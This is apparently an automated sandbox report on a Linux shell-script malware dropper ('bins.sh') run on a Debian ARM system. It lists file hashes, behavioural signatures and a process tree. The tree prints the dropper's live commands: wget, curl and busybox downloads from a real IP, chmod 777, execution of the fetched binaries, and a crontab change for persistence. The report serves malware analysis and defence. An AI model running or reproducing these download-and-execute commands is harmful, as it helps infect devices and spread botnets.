Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 12:23

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fc41e96c416e7e08c67b3b8a90dc5281

  • SHA1

    2e32b0e3f9f7b76565855b1b51caefe1b5baa43f

  • SHA256

    ad854bdbc344eddc4f97eb6ac8e45f35db706a8341b459c89579ca05515c23c6

  • SHA512

    593594493042937480a0f6493a50e4eb6b6b307fd8fff7d371d1ad001146e5c771aed934cffb0693193e1bc35c691c926fd4d42edb4a3d4fccdd274ad1c0ee77

  • SSDEEP

    192:1x9NM03//ciijgqZ/XlZ/Xlii/ox9NM0t:1x9NM03//ciijgYriiQx9NM0t

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:654
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:675
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Writes file to tmp directory
          PID:677
        • /bin/chmod
          chmod 777 AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • File and Directory Permissions Modification
          PID:678
        • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          ./AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
          • Executes dropped EXE
          PID:679
        • /bin/rm
          rm AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:683
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:684
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Writes file to tmp directory
            PID:691
          • /bin/chmod
            chmod 777 dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • File and Directory Permissions Modification
            PID:695
          • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            ./dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:696
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:698
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                  • Reads runtime system information
                  PID:700
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:701
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:702
              • /bin/rm
                rm dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET
                2⤵
                  PID:706
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                  2⤵
                    PID:710
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                    2⤵
                      PID:712
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                      2⤵
                      • Writes file to tmp directory
                      PID:713
                    • /bin/chmod
                      chmod 777 dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                      2⤵
                      • File and Directory Permissions Modification
                      PID:718
                    • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                      ./dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                      2⤵
                      • Executes dropped EXE
                      PID:719
                    • /bin/rm
                      rm dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx
                      2⤵
                        PID:722
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                        2⤵
                          PID:723
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                          2⤵
                            PID:725
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                            2⤵
                            • Writes file to tmp directory
                            PID:727
                          • /bin/chmod
                            chmod 777 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                            2⤵
                            • File and Directory Permissions Modification
                            PID:733
                          • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                            ./3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                            2⤵
                            • Executes dropped EXE
                            PID:734
                          • /bin/rm
                            rm 3YGaELkx3gpLTglmN1gtTyntokbgCikOqG
                            2⤵
                              PID:735
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/RgECHtA0mXy7bcHnh7jorzPdnM2HiW6c3g
                              2⤵
                                PID:736

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/3YGaELkx3gpLTglmN1gtTyntokbgCikOqG

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/AYDIfQxHyiSx7osazCZeyk8o0M9KIGfR04

                              Filesize

                              99KB

                              MD5

                              9438d9bc392bcf300a5583b6df5bc8f6

                              SHA1

                              375a6ae34b516f6f3eeea8030c4084f585017efa

                              SHA256

                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                              SHA512

                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                            • /tmp/dGWCvGtLhYMQU8nXmmRNdOh5BBHCpdO7ET

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/dp7otoddNnT3eCVTYJVwwTgpsXb76ltMYx

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /var/spool/cron/crontabs/tmp.Z38z2y

                              Filesize

                              210B

                              MD5

                              841d6dc7908653eb723bed250e64309f

                              SHA1

                              4e34e566bebc388a0f969d2dbabe4e4cdf8b6053

                              SHA256

                              b749c01024ec3ffe382e9d276fbf618b5c8005c39575dee2f894a45446f74aa3

                              SHA512

                              060c63fba95c8b629e079eb4d7449cf78e6bda8367163f4672a0ebb0eea502d0025235d8d7c78c41af44a20ed1ecfbbcea7632794b0eb59c81c9ae25be8eed02